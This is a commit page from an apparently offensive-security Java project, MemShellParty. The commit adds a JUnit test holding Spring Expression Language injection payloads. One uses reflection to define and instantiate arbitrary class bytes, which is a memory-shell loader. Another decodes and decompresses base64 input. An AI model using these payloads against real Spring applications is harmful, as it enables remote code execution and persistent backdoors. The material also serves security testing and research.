archive/MemShellParty
1
0
Fork 0
mirror of https://github.com/ReaJason/MemShellParty.git synced 2026-09-22 23:11:52 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

test: add testground

Browse Source
This commit is contained in:
ReaJason
2025-09-12 22:51:50 +08:00
parent 17c54cd919
commit 5915b9877b
2 changed files with 35 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
vul/vul-webapp-expression/src/test/java/SpELServletTest.java
+16
View File
@@ -0,0 +1,16 @@
import org.junit.jupiter.api.Test;
import org.springframework.expression.spel.standard.SpelExpressionParser;
/**
* @author ReaJason
* @since 2025/9/2
*/
class SpELServletTest {
@Test
void test() {
// String data = "#clazz = ''.class.forName('org.springframework.cglib.core.ReflectUtils').getMethod('defineClass', ''.class, ''.class.forName('[B'), ''.class.forName('java.lang.ClassLoader')).invoke(null, '{{className}}', #classBytes, ''.class.forName('java.lang.Thread').getMethod('currentThread').invoke(null).getContextClassLoader()), #clazz.newInstance()";
String data = "''.class.forName('org.springframework.util.StreamUtils').getMethod('copyToByteArray', ''.class.forName('java.io.InputStream')).invoke(null, ''.class.forName('java.util.zip.GZIPInputStream').getConstructor(''.class.forName('java.io.InputStream')).newInstance(''.class.forName('java.io.ByteArrayInputStream').getConstructor(''.class.forName('[B')).newInstance(''.class.forName('org.springframework.util.Base64Utils').getMethod('decodeFromString', ''.class).invoke(null, '{{base64Str}}'))))";
System.out.println(new SpelExpressionParser().parseExpression(data).getValue());
}
}